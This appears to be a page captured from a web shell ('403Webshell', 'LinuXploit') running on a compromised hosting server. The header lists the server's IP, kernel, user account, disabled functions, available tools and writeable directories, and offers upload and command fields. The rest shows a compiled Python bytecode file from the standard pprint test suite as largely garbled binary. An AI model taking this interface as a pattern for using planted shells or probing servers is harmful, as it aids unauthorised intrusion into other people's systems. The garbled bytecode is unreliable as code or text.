403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_pprint.cpython-36.pyc
3

�w2_���@s>ddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	Gdd�de
�ZGdd�de
�ZGdd�de
�ZGdd	�d	e
�ZGd
d�de�ZGdd
�d
e�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�d�ZGdd�d�ZGdd�de	j�ZGdd�dej�Zedk�r:e	j �dS)�Nc@seZdZdS)�list2N)�__name__�
__module__�__qualname__�rr�5/opt/alt/python36/lib64/python3.6/test/test_pprint.pyrsrc@seZdZdd�ZdS)�list3cCs
tj|�S)N)�list�__repr__)�selfrrrr
szlist3.__repr__N)rrrr
rrrrrsrc@seZdZdS)�tuple2N)rrrrrrrrsrc@seZdZdd�ZdS)�tuple3cCs
tj|�S)N)�tupler
)rrrrr
sztuple3.__repr__N)rrrr
rrrrr
sr
c@seZdZdS)�set2N)rrrrrrrrsrc@seZdZdd�ZdS)�set3cCs
tj|�S)N)�setr
)rrrrr
 sz
set3.__repr__N)rrrr
rrrrrsrc@seZdZdS)�
frozenset2N)rrrrrrrr#src@seZdZdd�ZdS)�
frozenset3cCs
tj|�S)N)�	frozensetr
)rrrrr
'szfrozenset3.__repr__N)rrrr
rrrrr&src@seZdZdS)�dict2N)rrrrrrrr*src@seZdZdd�ZdS)�dict3cCs
tj|�S)N)�dictr
)rrrrr
.szdict3.__repr__N)rrrr
rrrrr-src@seZdZdd�ZdS)�UnorderablecCstt|��S)N)�str�id)rrrrr
2szUnorderable.__repr__N)rrrr
rrrrr1src@sLeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)�	OrderablecCs
||_dS)N)�_hash)r�hashrrr�__init__7szOrderable.__init__cCsdS)NFr)r�otherrrr�__lt__9szOrderable.__lt__cCs||kS)Nr)rrrrr�__gt__;szOrderable.__gt__cCs||kS)Nr)rrrrr�__le__=szOrderable.__le__cCsdS)NTr)rrrrr�__ge__?szOrderable.__ge__cCs||kS)Nr)rrrrr�__eq__AszOrderable.__eq__cCs||k	S)Nr)rrrrr�__ne__CszOrderable.__ne__cCs|jS)N)r)rrrr�__hash__EszOrderable.__hash__N)rrrrr r!r"r#r$r%r&rrrrr6src@s
eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zejejjdd���Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Z d3d4�Z!d5d6�Z"d7d8�Z#d9d:�Z$d;d<�Z%d=S)>�
QueryTestCasecCs,ttd��|_ttd��|_|j|jd<dS)N�d���i�)r	�range�a�b)rrrr�setUpJszQueryTestCase.setUpc
Cs�tj�}tjdddtj�dd�}tjdddtj��}|jt��tjdddtj�d�}WdQRX|jttjdd�|jttjdd	�|jttjdd	�|jttjdd
�dS)
N��(�T)�indent�width�depth�stream�compact�)r2r)r4)r3���r8)�pprint�
PrettyPrinter�io�StringIOZassertRaises�	TypeError�
ValueError)r�pprrr�	test_initOs
 zQueryTestCase.test_initcCs�tj�}x�dddddgd
ddidtd�dd	dd
|j|jfD]d}|jtj|�d|f�|jtj|�d|f�|j|j|�d|f�|j|j|�d|f�q:WdS)N�g@y@�abc�sdefsghiTF.zexpected not isrecursive for %rzexpected isreadable for %r)rArA)	r9r:�	bytearrayr,r-�assertFalse�isrecursive�
assertTrue�
isreadable)rr?�saferrr�
test_basic[szQueryTestCase.test_basiccCsP|j|jd<i|_|j|jd<|jd<|jd<tj�}xj|j|j|j|j|jffD]L}|jtj|�d�|jtj|�d�|j|j|�d�|j|j|�d�qVW|jj	�|jdd�=|jdd�=x�|j|j|j|j|jffD]d}|jtj|�d|f�|jtj|�d|f�|j|j|�d|f�|j|j|�d|f�q�WdS)	N�Crr7rAzexpected isrecursivezexpected not isreadablezexpected not isrecursive for %rzexpected isreadable for %r)
r,r-�dr9r:rGrFrErH�clear)rr?ZickyrIrrr�test_knottedls*  
 zQueryTestCase.test_knottedcCs�tj�}xxtd�ttjfD]d}|jtj|�d|f�|jtj|�d|f�|j|j|�d|f�|j|j|�d|f�qWdS)NrCzexpected not isrecursive for %rzexpected not isreadable for %r)r9r:�typerFrErH)rr?Z
unreadablerrr�test_unreadable�szQueryTestCase.test_unreadablec9Csj�xbddddddt�ft�t�gt�t�t�t�t�t�t	�t
�it�t�|j
tdddd d	d
td
�d!dgddid"ddgdditd#�td$�ttd��ddgtddg�tddg�ttd��tdh�tdh�tdh�tdh�t	dh�t
dh�tddi�tddi�tdd%d&�ddddf9D]R}t|�}|jtj|�|�|jtj|ddd�jdd�|�|jtj|�|��qWdS)'Nryg���y@g�?�x�xrCr7rAr/r1r(���
�TF.)r3r2�
� yi����i����i����y��g��)rC)r7rA)r7rA)r7rAi����r8)rDrr
rrrrrrrrrrrGr9r+�repr�assertEqual�pformat�replaceZsaferepr)rZsimpleZnativerrr�test_same_as_repr�s,	


$
zQueryTestCase.test_same_as_reprcCsdddddddd�}d}x&ttgD]}|jtj||��|�q"Wtd�}ddjtt|��}x&t	t
gD]}|jtj||��|�qfWttd��}d	djtt|��}x&ttgD]}|jtj||��|�q�Wtd�}d
djtt|��}x*t	t
gD]}|jtj||�dd
�|�q�WdS)Nri��i��)ZRPM_calZRPM_cal2Z	Speed_calZcontroldesk_runtime_usZmain_code_runtime_usZread_io_runtime_usZwrite_io_runtime_usz�{'RPM_cal': 0,
 'RPM_cal2': 48059,
 'Speed_cal': 0,
 'controldesk_runtime_us': 0,
 'main_code_runtime_us': 0,
 'read_io_runtime_us': 0,
 'write_io_runtime_us': 43690}r(z[%s]z,
 z(%s)z[   %s]z,
    r/)r2)
rrr]r9r^r+�join�maprr	rrr)r�o�exprOrrr�test_basic_line_wrap�s,z"QueryTestCase.test_basic_line_wrapcCs^ttd��}tdddd�}||g}d}|jtj|ddd	�|�d
}|jtj|ddd	�|�dS)NrXr7rArC)�first�secondZthirdzN[   [0, 1, 2, 3, 4, 5, 6, 7, 8, 9],
    {'first': 1, 'second': 2, 'third': 3}]r/�*)r2r3za[   [0, 1, 2, 3, 4, 5, 6, 7, 8, 9],
    {   'first': 1,
        'second': 2,
        'third': 3}]�))r	r+rr]r9r^)rZo1Zo2rc�expectedrrr�test_nested_indentations�sz&QueryTestCase.test_nested_indentationscCshd}t|�}|jtj|dd�|�|jtj|dd�|�|jtj|dd�|�|jtj|dd�d�dS)Nz�[[[[[[1, 2, 3],
     '1 2']]]],
 {1: [1, 2, 3],
  2: [12, 34]},
 'abc def ghi',
 ('ab cd ef',),
 set2({1, 23}),
 [[[[[1, 2, 3],
     '1 2']]]]]�)r3���z�[[[[[[1,
      2,
      3],
     '1 '
     '2']]]],
 {1: [1,
      2,
      3],
  2: [12,
      34]},
 'abc def '
 'ghi',
 ('ab cd '
  'ef',),
 set2({1,
       23}),
 [[[[[1,
      2,
      3],
     '1 '
     '2']]]]])�evalr]r9r^)rrjrcrrr�
test_width�s
zQueryTestCase.test_widthcCsXdddd�}|jtj|�d�|jtj||g�d�|jtjdd	dggfii�d�dS)
Nr7)r,r-�cz{'a': 1, 'b': 1, 'c': 1}z4[{'a': 1, 'b': 1, 'c': 1}, {'a': 1, 'b': 1, 'c': 1}]zxy	ab
rCr1z#{5: [[]], 'xy\tab\n': (3,), (): {}})rC)r]r9r^)rrLrrr�test_sorted_dictszQueryTestCase.test_sorted_dictcCsptj�}|jtj|dd�d�tjg�}|jtj|dd�d�dj�}tjt|tj���}|jtj|�d�dS)Nr7)r3z
OrderedDict()z*the quick brown fox jumped over a lazy dogz�OrderedDict([('the', 0),
             ('quick', 1),
             ('brown', 2),
             ('fox', 3),
             ('jumped', 4),
             ('over', 5),
             ('a', 6),
             ('lazy', 7),
             ('dog', 8)]))	�collections�OrderedDictr]r9r^�split�zip�	itertools�count)rrL�wordsrrr�test_ordered_dict(s

zQueryTestCase.test_ordered_dictcCsjdj�}tt|tj���}tj|�}|jtj	|�d�t
jt|tj���}tj|�}|jtj	|�d�dS)Nz*the quick brown fox jumped over a lazy dogz�mappingproxy({'a': 6,
              'brown': 2,
              'dog': 8,
              'fox': 3,
              'jumped': 4,
              'lazy': 7,
              'over': 5,
              'quick': 1,
              'the': 0})a^mappingproxy(OrderedDict([('the', 0),
                          ('quick', 1),
                          ('brown', 2),
                          ('fox', 3),
                          ('jumped', 4),
                          ('over', 5),
                          ('a', 6),
                          ('lazy', 7),
                          ('dog', 8)])))rvrrwrxry�types�MappingProxyTyper]r9r^rtru)rrzrL�mrrr�test_mapping_proxy;s
	
	z QueryTestCase.test_mapping_proxycCs&ddd�}d}|jt�j|�|�dS)Nz should be presented using repr()z	like.this)znames with spaceszothers.should.not.bez[{'names with spaces': 'should be presented using repr()',
 others.should.not.be: like.this})r]�DottedPrettyPrinterr^)rrcrdrrr�test_subclassingVszQueryTestCase.test_subclassingcCs|jtjt��d�|jtjttd���d�|jtjttd��dd�d�|jtjttd��dd�d�|jtjttd��dd�d	�|jtjt��d
�|jtjttd���d�|jtjttd��dd�d�|jtjttd��dd�d
�|jtjt	td��dd�d�dS)Nzset()rCz	{0, 1, 2}rV�)r3z{0,
 1,
 2,
 3,
 4,
 5,
 6}z?set2({0,
      1,
      2,
      3,
      4,
      5,
      6})zset3({0, 1, 2, 3, 4, 5, 6})zfrozenset()zfrozenset({0, 1, 2})zbfrozenset({0,
           1,
           2,
           3,
           4,
           5,
           6})zifrozenset2({0,
            1,
            2,
            3,
            4,
            5,
            6})z!frozenset3({0, 1, 2, 3, 4, 5, 6}))
r]r9r^rr+rrrrr)rrrr�test_set_reprs^s"zQueryTestCase.test_set_reprscCsHd}tjjd�}|jtj|�|�d}tjj|�}|jtj|�|�dS)NaE{frozenset(): frozenset({frozenset({2}), frozenset({0}), frozenset({1})}),
 frozenset({0}): frozenset({frozenset(),
                            frozenset({0, 2}),
                            frozenset({0, 1})}),
 frozenset({1}): frozenset({frozenset(),
                            frozenset({1, 2}),
                            frozenset({0, 1})}),
 frozenset({2}): frozenset({frozenset(),
                            frozenset({1, 2}),
                            frozenset({0, 2})}),
 frozenset({1, 2}): frozenset({frozenset({2}),
                               frozenset({1}),
                               frozenset({0, 1, 2})}),
 frozenset({0, 2}): frozenset({frozenset({2}),
                               frozenset({0}),
                               frozenset({0, 1, 2})}),
 frozenset({0, 1}): frozenset({frozenset({0}),
                               frozenset({1}),
                               frozenset({0, 1, 2})}),
 frozenset({0, 1, 2}): frozenset({frozenset({1, 2}),
                                  frozenset({0, 2}),
                                  frozenset({0, 1})})}rCaK5{frozenset({frozenset({0, 2}), frozenset({0})}): frozenset({frozenset({frozenset({0,
                                                                                  2}),
                                                                       frozenset({0,
                                                                                  1,
                                                                                  2})}),
                                                            frozenset({frozenset({0}),
                                                                       frozenset({0,
                                                                                  1})}),
                                                            frozenset({frozenset(),
                                                                       frozenset({0})}),
                                                            frozenset({frozenset({2}),
                                                                       frozenset({0,
                                                                                  2})})}),
 frozenset({frozenset({0, 1}), frozenset({1})}): frozenset({frozenset({frozenset({0,
                                                                                  1}),
                                                                       frozenset({0,
                                                                                  1,
                                                                                  2})}),
                                                            frozenset({frozenset({0}),
                                                                       frozenset({0,
                                                                                  1})}),
                                                            frozenset({frozenset({1}),
                                                                       frozenset({1,
                                                                                  2})}),
                                                            frozenset({frozenset(),
                                                                       frozenset({1})})}),
 frozenset({frozenset({1, 2}), frozenset({1})}): frozenset({frozenset({frozenset({1,
                                                                                  2}),
                                                                       frozenset({0,
                                                                                  1,
                                                                                  2})}),
                                                            frozenset({frozenset({2}),
                                                                       frozenset({1,
                                                                                  2})}),
                                                            frozenset({frozenset(),
                                                                       frozenset({1})}),
                                                            frozenset({frozenset({1}),
                                                                       frozenset({0,
                                                                                  1})})}),
 frozenset({frozenset({1, 2}), frozenset({2})}): frozenset({frozenset({frozenset({1,
                                                                                  2}),
                                                                       frozenset({0,
                                                                                  1,
                                                                                  2})}),
                                                            frozenset({frozenset({1}),
                                                                       frozenset({1,
                                                                                  2})}),
                                                            frozenset({frozenset({2}),
                                                                       frozenset({0,
                                                                                  2})}),
                                                            frozenset({frozenset(),
                                                                       frozenset({2})})}),
 frozenset({frozenset(), frozenset({0})}): frozenset({frozenset({frozenset({0}),
                                                                 frozenset({0,
                                                                            1})}),
                                                      frozenset({frozenset({0}),
                                                                 frozenset({0,
                                                                            2})}),
                                                      frozenset({frozenset(),
                                                                 frozenset({1})}),
                                                      frozenset({frozenset(),
                                                                 frozenset({2})})}),
 frozenset({frozenset(), frozenset({1})}): frozenset({frozenset({frozenset(),
                                                                 frozenset({0})}),
                                                      frozenset({frozenset({1}),
                                                                 frozenset({1,
                                                                            2})}),
                                                      frozenset({frozenset(),
                                                                 frozenset({2})}),
                                                      frozenset({frozenset({1}),
                                                                 frozenset({0,
                                                                            1})})}),
 frozenset({frozenset({2}), frozenset()}): frozenset({frozenset({frozenset({2}),
                                                                 frozenset({1,
                                                                            2})}),
                                                      frozenset({frozenset(),
                                                                 frozenset({0})}),
                                                      frozenset({frozenset(),
                                                                 frozenset({1})}),
                                                      frozenset({frozenset({2}),
                                                                 frozenset({0,
                                                                            2})})}),
 frozenset({frozenset({0, 1, 2}), frozenset({0, 1})}): frozenset({frozenset({frozenset({1,
                                                                                        2}),
                                                                             frozenset({0,
                                                                                        1,
                                                                                        2})}),
                                                                  frozenset({frozenset({0,
                                                                                        2}),
                                                                             frozenset({0,
                                                                                        1,
                                                                                        2})}),
                                                                  frozenset({frozenset({0}),
                                                                             frozenset({0,
                                                                                        1})}),
                                                                  frozenset({frozenset({1}),
                                                                             frozenset({0,
                                                                                        1})})}),
 frozenset({frozenset({0}), frozenset({0, 1})}): frozenset({frozenset({frozenset(),
                                                                       frozenset({0})}),
                                                            frozenset({frozenset({0,
                                                                                  1}),
                                                                       frozenset({0,
                                                                                  1,
                                                                                  2})}),
                                                            frozenset({frozenset({0}),
                                                                       frozenset({0,
                                                                                  2})}),
                                                            frozenset({frozenset({1}),
                                                                       frozenset({0,
                                                                                  1})})}),
 frozenset({frozenset({2}), frozenset({0, 2})}): frozenset({frozenset({frozenset({0,
                                                                                  2}),
                                                                       frozenset({0,
                                                                                  1,
                                                                                  2})}),
                                                            frozenset({frozenset({2}),
                                                                       frozenset({1,
                                                                                  2})}),
                                                            frozenset({frozenset({0}),
                                                                       frozenset({0,
                                                                                  2})}),
                                                            frozenset({frozenset(),
                                                                       frozenset({2})})}),
 frozenset({frozenset({0, 1, 2}), frozenset({0, 2})}): frozenset({frozenset({frozenset({1,
                                                                                        2}),
                                                                             frozenset({0,
                                                                                        1,
                                                                                        2})}),
                                                                  frozenset({frozenset({0,
                                                                                        1}),
                                                                             frozenset({0,
                                                                                        1,
                                                                                        2})}),
                                                                  frozenset({frozenset({0}),
                                                                             frozenset({0,
                                                                                        2})}),
                                                                  frozenset({frozenset({2}),
                                                                             frozenset({0,
                                                                                        2})})}),
 frozenset({frozenset({1, 2}), frozenset({0, 1, 2})}): frozenset({frozenset({frozenset({0,
                                                                                        2}),
                                                                             frozenset({0,
                                                                                        1,
                                                                                        2})}),
                                                                  frozenset({frozenset({0,
                                                                                        1}),
                                                                             frozenset({0,
                                                                                        1,
                                                                                        2})}),
                                                                  frozenset({frozenset({2}),
                                                                             frozenset({1,
                                                                                        2})}),
                                                                  frozenset({frozenset({1}),
                                                                             frozenset({1,
                                                                                        2})})})})�testZtest_set�cuber]r9r^Z	linegraph)rZ
cube_repr_tgtr�Z
cubo_repr_tgtZcuborrr�test_set_of_sets_reprs�s0z$QueryTestCase.test_set_of_sets_reprscCs�d}dddddddiiiiii}ddddddggggggg}|jtj|�t|��|jtj|�t|��|jtj|�t|��d}d}d	}|jtj|dd
�|�|jtj|dd
�|�|jtj|dd
�|�dS)Nr7rArCr/r1rSz
(1, (...))z
{1: {...}}z
[1, [...]])r4�r1rS�r/r��rCr��rAr�)r7r�)r]r9r^r\)rZnested_tupleZnested_dictZnested_listZ	lv1_tupleZlv1_dictZlv1_listrrr�
test_depth^szQueryTestCase.test_depthcCs d}dd�t|�D�}tj|�t|td�}dd�}|j|tjt|���ddj	t
t|��d	�|j|tjt|���d
dj	t
t|��d�|j|tjt
j|���ddj	dd
�|D��d	�|jtjtdddi�dtt�d�ddg}|jtjt
j|d��dtt|td���dS)Nr�cSsg|]
}t��qSr)r)�.0�irrr�
<listcomp>psz>QueryTestCase.test_sort_unorderable_values.<locals>.<listcomp>)�keycSs|jdd�jdd�S)Nr[rQrZ)r_)�srrr�<lambda>ssz<QueryTestCase.test_sort_unorderable_values.<locals>.<lambda>�{�,�}zfrozenset({z})css|]}d|VqdS)z%r:NoneNr)r��krrr�	<genexpr>zsz=QueryTestCase.test_sort_unorderable_values.<locals>.<genexpr>rr7z{1: 0, z: 0}z{%r: 0, %r: 0})r7)N)r+�randomZshuffle�sortedrr]r9r^rrarbr\rr�fromkeysrr)r�n�keysZskeysZcleanrrr�test_sort_unorderable_valuesms 
z*QueryTestCase.test_sort_unorderable_valuescCs
t�}tt|��}|j||�|jtt|��tt|���|jt||g�||g�|jt||g�||g�|jtj	t
||g�dd�d||f�|jtj	t
||g�dd�d||f�|jtj	tj||g�dd�d||f�|jtj	tj||g�dd�d||f�dS)Nr7)r3z	{%r,
 %r}z{%r: None,
 %r: None})
rrrZ
assertLessrrOr]r�r9r^rrr�)rr,r-rrr�*test_sort_orderable_and_unorderable_values�sz8QueryTestCase.test_sort_orderable_and_unorderable_valuescCs�d}|jtj|dd�d�|jtjd|dd�dd�d	�d
}|jtj|dd�t|��|jtj|dd�d
�|jtj|dd�d�|jtj|gggggdd�d�|jtj|gggggdd�d�|jtj|gggggdd�d�dd}|jtj|dd�t|��|jtjd�d�|d9}x\tdd�D]N}tj||d�}|jt|�|�tj|gd|d�}|jt|�|gd��q*WdS)Nz*the quick brown fox jumped over a lazy dog�)r3z6('the quick brown '
 'fox jumped over '
 'a lazy dog')r7rA)r,r-rrrnzW{'a': 1,
 'b': 'the quick brown '
      'fox jumped over '
      'a lazy dog',
 'c': 2}u@Portons dix bons "whiskys"
à l'avocat goujat	 qui fumait au zoo�D�uN('Portons dix bons "whiskys"\n'
 "à l'avocat goujat\t qui "
 'fumait au zoo')r�uV('Portons dix bons '
 '"whiskys"\n'
 "à l'avocat "
 'goujat\t qui '
 'fumait au zoo')�#u^[[[[['Portons dix bons "whiskys"\n'
     "à l'avocat goujat\t qui "
     'fumait au zoo']]]]]un[[[[['Portons dix bons '
     '"whiskys"\n'
     "à l'avocat "
     'goujat\t qui '
     'fumait au zoo']]]]]�uv[[[[['Portons dix '
     'bons "whiskys"\n'
     "à l'avocat "
     'goujat\t qui '
     'fumait au '
     'zoo']]]]]rTr(�PrQz''rXrCr0)r]r9r^r\r+rp)rZfox�specialZunwrappabler3�	formattedrrr�
test_str_wrap�s6zQueryTestCase.test_str_wrapcCsDdd�td�D�dd�td�D�}d}|jtj|ddd	�|�dS)
NcSsg|]}tt||���qSr)r	r+)r�r�rrrr��sz.QueryTestCase.test_compact.<locals>.<listcomp>r1cSsg|]}tt|���qSr)r	r+)r�r�rrrr��srSz�[[], [0], [0, 1, 2, 3],
 [0, 1, 2, 3, 4, 5, 6, 7, 8],
 [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13,
  14, 15],
 [], [0], [0, 1], [0, 1, 2], [0, 1, 2, 3],
 [0, 1, 2, 3, 4]]�/T)r3r6)r+r]r9r^)rrcrjrrr�test_compact�szQueryTestCase.test_compactcCs�d}d}dg|}xt|d�D]
}|g}q Wxdt|dd|d|d�D]B}tj||dd�j�}ttt|��}|j||�|j||d�qNWdS)	Nr�rXrr7rArCT)r3r6)	r+r9r^�
splitlines�maxrb�lenZassertLessEqualZ
assertGreater)rZlevelsZnumberrcr��w�linesZmaxwidthrrr�test_compact_width�s

$z QueryTestCase.test_compact_widthcCs�|jtjddd�d�|jtjddd�d�d}|jtj|dd�t|��|jtj|d	d�d
�|jtj|dd�d�|jtj|d
d�d�ttd
��}|jtj|dd�t|��|jtj|dd�d�|jtj|dd�d�|jtj|dd�d�|jtjd|dd�dd�d�|jtjd|dd�dd�d�|jtj|ggggggdd�d�|jtj|ggggggdd�d�x\tdd�D]N}tj||d�}|jt|�|�tj|gd|d�}|jt|�|gd��q�WdS)NrRr7)r3zb''sabcdzb'abcd'sabcdefghijklmnopqrstuvwxyz�r�z$(b'abcdefghijkl'
 b'mnopqrstuvwxyz')�z)(b'abcdefghijkl'
 b'mnopqrstuvwx'
 b'yz')rm�=�0zD(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b'
 b'\x0c\r\x0e\x0f')� zI(b'\x00\x01\x02\x03'
 b'\x04\x05\x06\x07\x08\t\n\x0b'
 b'\x0c\r\x0e\x0f')zN(b'\x00\x01\x02\x03'
 b'\x04\x05\x06\x07'
 b'\x08\t\n\x0b'
 b'\x0c\r\x0e\x0f')rA)r,r-rr�zJ{'a': 1,
 'b': b'abcdefghijkl'
      b'mnopqrstuvwx'
      b'yz',
 'c': 2}r�zJ{'a': 1,
 'b': b'abcdefgh'
      b'ijklmnop'
      b'qrstuvwxyz',
 'c': 2}rnz3[[[[[[b'abcdefghijklmnop'
      b'qrstuvwxyz']]]]]]rizS[[[[[[b'\x00\x01\x02\x03\x04\x05\x06\x07'
      b'\x08\t\n\x0b\x0c\r\x0e\x0f']]]]]]�@)r]r9r^r\�bytesr+rp)r�lettersr�r3r�rrr�test_bytes_wrap�sBzQueryTestCase.test_bytes_wrapcCsF|jtjt�dd�d�td�}|jtj|dd�t|��|jtj|dd�d�|jtj|dd�d	�|jtj|d
d�d	�ttd��}|jtj|dd�t|��|jtj|d
d�d�|jtj|dd�d�|jtj|dd�d�|jtjd|dd�dd�d�|jtj|gggggdd�d�|jtj|gggggdd�d�dS)Nr7)r3zbytearray(b'')sabcdefghijklmnopqrstuvwxyzr0�z6bytearray(b'abcdefghijkl'
          b'mnopqrstuvwxyz')�zDbytearray(b'abcdefghijkl'
          b'mnopqrstuvwx'
          b'yz')rnrm�H�9zVbytearray(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b'
          b'\x0c\r\x0e\x0f')rizdbytearray(b'\x00\x01\x02\x03'
          b'\x04\x05\x06\x07\x08\t\n\x0b'
          b'\x0c\r\x0e\x0f')zrbytearray(b'\x00\x01\x02\x03'
          b'\x04\x05\x06\x07'
          b'\x08\t\n\x0b'
          b'\x0c\r\x0e\x0f')rA)r,r-rrr�zi{'a': 1,
 'b': bytearray(b'abcdefghijkl'
                b'mnopqrstuvwx'
                b'yz'),
 'c': 2}�%zE[[[[[bytearray(b'abcdefghijklmnop'
               b'qrstuvwxyz')]]]]]�2ze[[[[[bytearray(b'\x00\x01\x02\x03\x04\x05\x06\x07'
               b'\x08\t\n\x0b\x0c\r\x0e\x0f')]]]]])r]r9r^rDr\r+)rr�r�rrr�test_bytearray_wrap&s0z!QueryTestCase.test_bytearray_wrapcCsTtjt�}|jtj|dd�d�dj�}tjtt|tj	���}|jtj|�d�dS)Nr7)r3zdefaultdict(<class 'int'>, {})z*the quick brown fox jumped over a lazy dogz�defaultdict(<class 'int'>,
            {'a': 6,
             'brown': 2,
             'dog': 8,
             'fox': 3,
             'jumped': 4,
             'lazy': 7,
             'over': 5,
             'quick': 1,
             'the': 0}))
rt�defaultdict�intr]r9r^rvrwrxry)rrLrzrrr�test_default_dictQs
zQueryTestCase.test_default_dictcCsBtj�}|jtj|dd�d�tjd�}|jtj|dd�d�dS)Nr7)r3z	Counter()Z
senselessnessr0zDCounter({'s': 6,
         'e': 4,
         'n': 2,
         'l': 1}))rt�Counterr]r9r^)rrLrrr�test_countercs

zQueryTestCase.test_countercCs�tj�}|jtj|dd�d�dj�}tt|tj	���}tjt
|��}|jtj|�d�tjt
|�tj|��}|jtj|�d�dS)Nr7)r3zChainMap({})z*the quick brown fox jumped over a lazy dogz�ChainMap({'a': 6,
          'brown': 2,
          'dog': 8,
          'fox': 3,
          'jumped': 4,
          'lazy': 7,
          'over': 5,
          'quick': 1,
          'the': 0})a�ChainMap({'a': 6,
          'brown': 2,
          'dog': 8,
          'fox': 3,
          'jumped': 4,
          'lazy': 7,
          'over': 5,
          'quick': 1,
          'the': 0},
         OrderedDict([('the', 0),
                      ('quick', 1),
                      ('brown', 2),
                      ('fox', 3),
                      ('jumped', 4),
                      ('over', 5),
                      ('a', 6),
                      ('lazy', 7),
                      ('dog', 8)])))rt�ChainMapr]r9r^rvr	rwrxryrru)rrLrz�itemsrrr�
test_chainmapns
zQueryTestCase.test_chainmapcCs�tj�}|jtj|dd�d�tjdd�}|jtj|dd�d�dj�}tjt|tj���}|jtj|�d�tjt|tj��dd�}|jtj|�d	�dS)
Nr7)r3z	deque([])rV)�maxlenzdeque([], maxlen=7)z*the quick brown fox jumped over a lazy dogz�deque([('the', 0),
       ('quick', 1),
       ('brown', 2),
       ('fox', 3),
       ('jumped', 4),
       ('over', 5),
       ('a', 6),
       ('lazy', 7),
       ('dog', 8)])z�deque([('brown', 2),
       ('fox', 3),
       ('jumped', 4),
       ('over', 5),
       ('a', 6),
       ('lazy', 7),
       ('dog', 8)],
      maxlen=7))	rt�dequer]r9r^rvrwrxry)rrLrzrrr�
test_deque�s
	zQueryTestCase.test_dequecCsPtj�}|jtj|dd�d�dj�}tjt|tj���}|jtj|�d�dS)Nr7)r3z{}z*the quick brown fox jumped over a lazy dogzi{'a': 6,
 'brown': 2,
 'dog': 8,
 'fox': 3,
 'jumped': 4,
 'lazy': 7,
 'over': 5,
 'quick': 1,
 'the': 0})	rt�UserDictr]r9r^rvrwrxry)rrLrzrrr�test_user_dict�s
zQueryTestCase.test_user_dictcCsPtj�}|jtj|dd�d�dj�}tjt|tj���}|jtj|�d�dS)Nr7)r3z[]z*the quick brown fox jumped over a lazy dogz{[('the', 0),
 ('quick', 1),
 ('brown', 2),
 ('fox', 3),
 ('jumped', 4),
 ('over', 5),
 ('a', 6),
 ('lazy', 7),
 ('dog', 8)])	rt�UserListr]r9r^rvrwrxry)rrLrzrrr�test_user_list�s
zQueryTestCase.test_user_listcCs^tjd�}|jtj|dd�d�tjd�}|jtj|dd�d�|jtjd|idd�d�dS)	NrQr7)r3z''z*the quick brown fox jumped over a lazy dogr�z6('the quick brown '
 'fox jumped over '
 'a lazy dog')zF{1: 'the quick '
    'brown fox '
    'jumped over a '
    'lazy dog'})rt�
UserStringr]r9r^)rrLrrr�test_user_string�s

zQueryTestCase.test_user_stringN)&rrrr.r@rJrNrPr`rerkrqrsr{rr�r��unittestZexpectedFailurer�ZsupportZcpython_onlyr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrr'Hs@!!$&,S<9+'r'c@seZdZdd�ZdS)r�cCsDt|t�r,d|kr t|�ddfS|ddfSntjj|||||�SdS)Nr[r7r)�
isinstancerr\r9r:�format)r�object�contextZ	maxlevels�levelrrrr��s
zDottedPrettyPrinter.formatN)rrrr�rrrrr��sr��__main__)!rtr;rxr9r�Ztest.supportr�Z
test.test_setr|r�r	rrrrr
rrrrrrrrrrrZTestCaser'r:r�r�mainrrrr�<module>s>%


Youez - 2016 - github.com/yon3zu
LinuXploit